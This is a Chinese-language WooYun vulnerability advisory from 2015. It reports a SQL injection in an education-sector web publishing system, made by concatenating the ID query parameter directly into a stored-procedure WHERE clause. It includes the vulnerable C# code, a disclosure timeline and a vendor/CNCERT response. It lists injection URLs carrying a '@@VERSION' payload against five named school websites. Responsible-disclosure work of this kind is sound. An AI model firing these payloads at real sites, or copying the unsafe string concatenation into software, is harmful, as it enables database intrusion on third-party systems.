当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121172

漏洞标题:某通用教育系统注入+1

相关厂商:杭州东方盈动信息技术有限公司

漏洞作者: Damo

提交时间:2015-06-23 16:56

修复时间:2015-09-24 16:04

公开时间:2015-09-24 16:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-23: 细节已通知厂商并且等待厂商处理中
2015-06-26: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向第三方安全合作伙伴开放
2015-08-20: 细节向核心白帽子及相关领域专家公开
2015-08-30: 细节向普通白帽子公开
2015-09-09: 细节向实习白帽子公开
2015-09-24: 细节向公众公开

简要描述:

望 审核人员看一下已经补充的内容 wooyun-2015-0118737

详细说明:

系统:盈动信息发布系统
注入:
问题文件:/sites/main/LRXZ.aspx
问题参数:ID
代码分析:

protected void Page_Load(object sender, EventArgs e)
{
略...
string text;
if (this.Page.Request.QueryString["ID"] != null)
{
text = this.Page.Request.QueryString["ID"];/*获取参数*/
}
else
{
text = "465";
}
this.lblID.Text = text;
string condition = "ClassID='" + this.lblID.Text + "' AND WebID=1 AND Deleted='0'";/*直接拼接SQL*/
this.GetPageInfo(condition);/*注入A*/
this.BindData(condition);/*注入B*/
}
}


this.GetPageInfo分析:

private void GetPageInfo(string condition)
{
SqlConnection sqlConnection = new SqlConnection(Globals.get_ConnectStr());
SqlCommand sqlCommand = new SqlCommand("Get_SiteData_ByPagination", sqlConnection);
sqlCommand.CommandType = CommandType.StoredProcedure;
sqlCommand.Parameters.Add("@TblName", SqlDbType.NVarChar, 255).Value = "Articles";
sqlCommand.Parameters.Add("@PageSize", SqlDbType.Int).Value = this.PageInfo.get_PageSize();
sqlCommand.Parameters.Add("@PageIndex", SqlDbType.Int).Value = 1;
sqlCommand.Parameters.Add("@DoCount", SqlDbType.Bit).Value = true;
sqlCommand.Parameters.Add("@StrWhere", SqlDbType.NVarChar, 1500).Value = condition;/*将有问题的sql代入Get_SiteData_ByPagination存储过程*/
sqlConnection.Open();
this.PageInfo.set_RecordCount((int)sqlCommand.ExecuteScalar());
sqlConnection.Close();
}


this.BindData分析:

private void BindData(string condition)
{
this.mydatalist.DataSource = this.CreateSource(condition);/*跟进此方法*/
略...
}
this.CreateSource:
private ICollection CreateSource(string condition)
{
SqlConnection sqlConnection = new SqlConnection(Globals.get_ConnectStr());
SqlCommand sqlCommand = new SqlCommand("Get_SiteData_ByPagination", sqlConnection);
sqlCommand.CommandType = CommandType.StoredProcedure;
sqlCommand.Parameters.Add("@TblName", SqlDbType.NVarChar, 255).Value = "Articles";
sqlCommand.Parameters.Add("@PageSize", SqlDbType.Int).Value = this.PageInfo.get_PageSize();
sqlCommand.Parameters.Add("@PageIndex", SqlDbType.Int).Value = this.PageInfo.get_CurrentPageIndex();
sqlCommand.Parameters.Add("@DoCount", SqlDbType.Bit).Value = false;
sqlCommand.Parameters.Add("@FldName", SqlDbType.NVarChar, 255).Value = "OnTop DESC, UpdateTime";
sqlCommand.Parameters.Add("@KeyFld", SqlDbType.NVarChar, 255).Value = "NewsID";
sqlCommand.Parameters.Add("@OrderType", SqlDbType.Bit).Value = true;
sqlCommand.Parameters.Add("@StrWhere", SqlDbType.NVarChar, 1500).Value = condition;/*将问题SQL直接代入 Get_SiteData_ByPagination*/
SqlDataAdapter sqlDataAdapter = new SqlDataAdapter(sqlCommand);
DataSet dataSet = new DataSet("GuestList");
sqlConnection.Open();
sqlDataAdapter.Fill(dataSet, "Guest");
sqlConnection.Close();
return dataSet.Tables["Guest"].DefaultView;
}


漏洞证明:

证明.png


案例:
http://www.hzjlxx.com/sites/main/LRXZ.aspx?id=2'and(1=(select @@VERSION))and'1'='1
http://www.jgedu.net/sites/main/LRXZ.aspx?id=2'and(1=(select @@VERSION))and'1'='1
http://www.hzlyzx.com/sites/main/LRXZ.aspx?id=2'and(1=(select @@VERSION))and'1'='1
http://www.jhjdedu.org/sites/main/LRXZ.aspx?id=2'and(1=(select @@VERSION))and'1'='1
http://www.dqjy.cn/sites/main/LRXZ.aspx?id=2'and(1=(select @@VERSION))and'1'='1

修复方案:

过滤

版权声明:转载请注明来源 Damo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-06-26 16:03

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置。

最新状态:

暂无